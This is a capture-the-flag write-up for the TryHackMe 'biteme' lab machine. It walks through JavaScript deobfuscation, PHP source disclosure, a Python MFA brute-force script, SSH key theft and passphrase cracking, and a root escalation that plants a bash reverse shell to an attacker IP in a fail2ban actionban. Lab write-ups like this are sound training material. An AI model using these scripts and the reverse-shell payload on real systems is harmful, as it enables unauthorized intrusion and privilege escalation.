TryHackMe - biteme
Start the machine and get the flags…
Title | biteme |
---|---|
Difficulty | Medium |
Author | fire015 |
Tags | php, privesc, cracking, fail2ban |
Enumeration
Nmap
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn biteme.thm
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-10 10:01 EDT
Warning: 10.10.5.239 giving up on port because retransmission cap hit (10).
Nmap scan report for biteme.thm (10.10.5.239)
Host is up (0.39s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 37.31 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 22,80 biteme.thm
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-10 10:02 EDT
Nmap scan report for biteme.thm (10.10.5.239)
Host is up (0.38s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 89:ec:67:1a:85:87:c6:f6:64:ad:a7:d1:9e:3a:11:94 (RSA)
| 256 7f:6b:3c:f8:21:50:d9:8b:52:04:34:a5:4d:03:3a:26 (ECDSA)
|_ 256 c4:5b:e5:26:94:06:ee:76:21:75:27:bc:cd:ba:af:cc (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.4 (91%), Asus RT-N10 router or AXIS 211A Network Camera (Linux 2.6) (91%), Linux 2.6.18 (91%), AXIS 211A Network Camera (Linux 2.6.20) (91%), Linux 2.6.16 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 378.19 ms 10.9.0.1
2 378.31 ms biteme.thm (10.10.5.239)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.20 seconds
Dir Scan
┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -t 40 --no-error -u http://biteme.thm/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://biteme.thm/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/console (Status: 301) [Size: 310] [--> http://biteme.thm/console/]
HTTP (port 80
)
I follow the /console
path and open it on web-browser, it navigates me to a login page within captcha validation:
Exploit
Javascript Deobfuscation
Because of the captcha, it’s really hard to brute-force the login form to get the creds. Therefore, I check out the page source and get this function in the <script>
tag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function handleSubmit() {
eval(
(function (p, a, c, k, e, r) {
e = function (c) {
return c.toString(a);
};
if (!"".replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [
function (e) {
return r[e];
},
];
e = function () {
return "\\w+";
};
c = 1;
}
while (c--)
if (k[c]) p = p.replace(new RegExp("\\b" + e(c) + "\\b", "g"), k[c]);
return p;
})(
"0.1('2').3='4';5.6('@7 8 9 a b c d e f g h i... j');",
20,
20,
"document|getElementById|clicked|value|yes|console|log|fred|I|turned|on|php|file|syntax|highlighting|for|you|to|review|jason".split(
"|"
),
0,
{}
)
);
return true;
}
Googling and recognize the format of this script is called Javascript Obfuscation, I then use the tool from de4js to deobfuscate:
1
2
3
4
5
6
7
function handleSubmit() {
document.getElementById("clicked").value = "yes";
console.log(
"@fred I turned on php file syntax highlighting for you to review... jason"
);
return true;
}
The message is talking about php file syntax highlighting, research this statement from php.net and this is the description:
Prints out or returns a syntax highlighted version of the code contained in
filename
using the colors defined in the built-in syntax highlighter for PHP.Many servers are configured to automatically highlight files with a phps extension. For example, example.phps when viewed will show the syntax highlighted source of the file. To enable this, add this line to the httpd.conf:
Base on the given information, I modify the URL to append the 's'
character following the .php
extension:
http://biteme.thm/console/index.php -> http://biteme.thm/console/index.phps
And BUM! I got the source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
session_start();
include('functions.php');
include('securimage/securimage.php');
$showError = false;
$showCaptchaError = false;
if (isset($_POST['user']) && isset($_POST['pwd']) && isset($_POST['captcha_code']) && isset($_POST['clicked']) && $_POST['clicked'] === 'yes') {
$image = new Securimage();
if (!$image->check($_POST['captcha_code'])) {
$showCaptchaError = true;
} else {
if (is_valid_user($_POST['user']) && is_valid_pwd($_POST['pwd'])) {
setcookie('user', $_POST['user'], 0, '/');
setcookie('pwd', $_POST['pwd'], 0, '/');
header('Location: mfa.php');
exit();
} else {
$showError = true;
}
}
}
?>
Beside of no creds found in the source code, I focus on the include()
file which is functions.php
. Using the same technique, I also retrieve the password validation technique:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include('config.php');
function is_valid_user($user) {
$user = bin2hex($user);
return $user === LOGIN_USER;
}
// @fred let's talk about ways to make this more secure but still flexible
function is_valid_pwd($pwd) {
$hash = md5($pwd);
return substr($hash, -3) === '001';
}
Moreover, following the config.php
, I also get the username encoded in hex:
Decode it and easily know the username:
┌──(kali㉿kali)-[~/TryHackMe/biteme]
└─$ hURL --hex "6a61736f6e5f746573745f6163636f756e74"
Original HEX :: 6a61736f6e5f746573745f6163636f756e74
ASCII/RAW DEcoded :: [REDACTED]
With the password, I write my own script in python to generate all the password from the rockyou.txt wordlist to md5 hash and compare the last 3 element with 001
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib
rockyou = open("rockyou.txt")
for passwd in rockyou:
passwd = passwd.strip()
md5_passwd = hashlib.md5(passwd.encode()).hexdigest()
if (md5_passwd[-3:] == "001"):
print(f"{passwd} -- {md5_passwd}")
rockyou = open("rockyou.txt")
for passwd in rockyou:
passwd = passwd.strip()
md5_passwd = hashlib.md5(passwd.encode()).hexdigest()
if (md5_passwd[-3:] == "001"):
print(f"{passwd} -- {md5_passwd}")
And there are bunch of options for me:
Then I pick one of them and login. The application keeps bringing me to the next stage:
Brute-force
Read the page source and deobfuscate the script, I get another message:
1
2
3
console.log(
"@fred we need to put some brute force protection on here, remind me in the morning... jason"
);
Now it’s time to use the brute-force technique! I input a random 4 digit code and submit it to get the error message. Then I inspect the Cookies and the Request values:
I write down a simple python script to generate the 4-digit list:
1
2
3
4
5
6
7
8
9
10
11
12
mfa_arr = []
for num in range(10000):
num = str(num)
if len(num) == 4:
mfa_arr.append(num)
mfa_codes = open("mfa_codes.txt", "w")
for i in mfa_arr:
mfa_codes.write(i + "\n")
mfa_codes.close()
And then use another one to brute-force:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
# Specify the target:
url = "http://biteme.thm/console/mfa.php"
cookies = {"PHPSESSID":"vhv3t7j6fuivi9253r7094oadn", "pwd":"[REDACTED]", "user":"[REDACTED]"}
data = {"code":"1234"}
# Set the false statement
error = "Incorrect code"
# Add the list of code number into array
codeLst = []
mfa_file = open("mfa_codes.txt","r")
codes = mfa_file.read()
codeLst = (codes.split("\n"))
codeLst.remove('') # Remove the empty element
for code in codeLst:
data = {"code": code}
response = requests.post(url,cookies=cookies,data=data)
if not error in response.text:
print(data)
return
And this is my result:
┌──(kali㉿kali)-[~/TryHackMe/biteme]
└─$ python3 bf_mfa.py
{'code': '[REDACTED]'}
I submit this code on the application and route to the dashboard page:
Get Access
And try to enter the current page dashboard.php
into the File viewer section and retrieve the work-flow of this page:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include('functions.php');
if (!isset($_COOKIE['user']) || !is_valid_user($_COOKIE['user']) || !isset($_COOKIE['pwd']) || !is_valid_pwd($_COOKIE['pwd']) || !isset($_COOKIE['code']) || strlen($_COOKIE['code']) !== 4) {
header('Location: index.php');
exit();
}
$browseOutput = '';
$viewOutput = '';
if (isset($_POST['browse'])) {
$files = scandir($_POST['browse']);
if ($files !== false) {
$browseOutput = implode("\n", $files);
}
}
if (isset($_POST['view'])) {
$file = file_get_contents($_POST['view']);
if ($file !== false) {
$viewOutput = $file;
}
}
?>
According to the above code, the File browser section uses the scandir()
function to list all the files and directories of which I input, the another File view uses file_get_contents()
to read the file’s content.
So I enumerate the /home
directory first and inside the jason directory, I find out the user flag and also the .ssh directory which might contain the ssh key:
I get the user flag first:
Then I take the key and save it into my local machine:
However, when I establish the ssh connection, the id_rsa key requires the passphrase for the key:
┌──(kali㉿kali)-[~/TryHackMe/biteme]
└─$ ssh jason@biteme.thm -i id_rsa
The authenticity of host 'biteme.thm (10.10.0.74)' can't be established.
ED25519 key fingerprint is SHA256:3NvL4FLmtivo46j76+yqa43LcYEB79JAUuXUAYQe/zI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'biteme.thm' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':
To solve this problem, I use ssh2john to generate the passphrase from the key into hash, and use john to crack the hash to plaintext”
┌──(kali㉿kali)-[~/TryHackMe/biteme]
└─$ ssh2john id_rsa > id_rsa_hash
┌──(kali㉿kali)-[~/TryHackMe/biteme]
└─$ john --wordlist=~/Wordlists/rockyou.txt id_rsa_hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED] (id_rsa)
1g 0:00:00:00 DONE (2023-10-15 22:55) 50.00g/s 251200p/s 251200c/s 251200C/s christina1..dumnezeu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Now I get back and get access to the target machine as user jason:
┌──(kali㉿kali)-[~/TryHackMe/biteme]
└─$ ssh jason@biteme.thm -i id_rsa
Enter passphrase for key 'id_rsa':
Last login: Fri Mar 4 18:22:12 2022 from 10.0.2.2
jason@biteme:~$ id;pwd
uid=1000(jason) gid=1000(jason) groups=1000(jason),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
/home/jason
Horizontal Privilege Escalation
jason@biteme:~$ sudo -l
Matching Defaults entries for jason on biteme:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jason may run the following commands on biteme:
(ALL : ALL) ALL
(fred) NOPASSWD: ALL
The output from the command sudo -l
means:
(ALL : ALL) ALL
: user jason can execute every commands as root but password of user jason is required(fred) NOPASSWD: ALL
: user jason can switch to user fred without password required
Because I do not have the jason’s password, I decide to become fred at first:
jason@biteme:~$ sudo -u fred /bin/bash -i
fred@biteme:~$
Vertical Privilege Escalation
I repeat the sudo -l
command with user fred and now the output is different:
fred@biteme:~$ sudo -l
Matching Defaults entries for fred on biteme:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User fred may run the following commands on biteme:
(root) NOPASSWD: /bin/systemctl restart fail2ban
The fail2ban is an intrusion software that have the ability to ban the IPs based on its configuration. The iptables-mutliport.conf
contains the actionban
which triggers ban on multiple login attempts.
First, I locate the fail2ban location and the configuration files inside:
fred@biteme:~$ whereis fail2ban
fail2ban: /etc/fail2ban /usr/share/man/man1/fail2ban.1.gz
fred@biteme:~$ ls -l /etc/fail2ban
total 64
drwxrwxrwx 2 root root 4096 Nov 13 2021 action.d
-rw-r--r-- 1 root root 2334 Jan 18 2018 fail2ban.conf
drwxr-xr-x 2 root root 4096 Apr 4 2018 fail2ban.d
drwxr-xr-x 3 root root 4096 Nov 13 2021 filter.d
-rw-r--r-- 1 root root 22897 Jan 18 2018 jail.conf
drwxr-xr-x 2 root root 4096 Nov 13 2021 jail.d
-rw-r--r-- 1 root root 99 Nov 13 2021 jail.local
-rw-r--r-- 1 root root 645 Jan 18 2018 paths-arch.conf
-rw-r--r-- 1 root root 2827 Jan 18 2018 paths-common.conf
-rw-r--r-- 1 root root 573 Jan 18 2018 paths-debian.conf
-rw-r--r-- 1 root root 738 Jan 18 2018 paths-opensuse.conf
Then I copy the iptables-multiport.conf
to user fred’s directory to have the permission on modifying it:
fred@biteme:/etc/fail2ban$ cp action.d/iptables-multiport.conf /home/fred/
fred@biteme:/etc/fail2ban$ cd /home/fred/
fred@biteme:/home/fred$ ls -l
total 4
-rw-r--r-- 1 fred fred 1420 Oct 16 03:07 iptables-multiport.conf
Next, I comment the default actionban
line and create my own one within reverse shell payload:
# Option: actionban
# Notes.: command executed when banning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
#actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>
actionban = bash -c 'bash -i >& /dev/tcp/10.9.63.75/4444 0>&1'
I copy the modified file back to its original location and replace the default one. Verify that my modification has been applied:
fred@biteme:/home/fred$ cp iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
fred@biteme:/home/fred$ cat /etc/fail2ban/action.d/iptables-multiport.conf | grep "actionban"
# Notes.: command executed once before each actionban command
# Option: actionban
#actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>
actionban = bash -c 'bash -i >& /dev/tcp/10.9.63.75/4444 0>&1'
The final steps are:
- restart the fail2ban service with
sudo
to apply the modified file into the host. - Start a listener on local machine
- Perform ssh connection multiple times to the target but with fail condition (incorrect or blank password)
┌──(kali㉿kali)-[~]
└─$ ssh root@biteme.thm
root@biteme.thm's password:
Permission denied, please try again.
root@biteme.thm's password:
Permission denied, please try again.
root@biteme.thm's password:
root@biteme.thm: Permission denied (publickey,password).
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.0.74] 34748
bash: cannot set terminal process group (2193): Inappropriate ioctl for device
bash: no job control in this shell
root@biteme:/# cd /root
cd /root
root@biteme:/root# ls -l
ls -l
total 4
-rw-r--r-- 1 root root 38 Sep 23 2021 root.txt
root@biteme:/root# cat root.txt
cat root.txt
THM{REDACTED}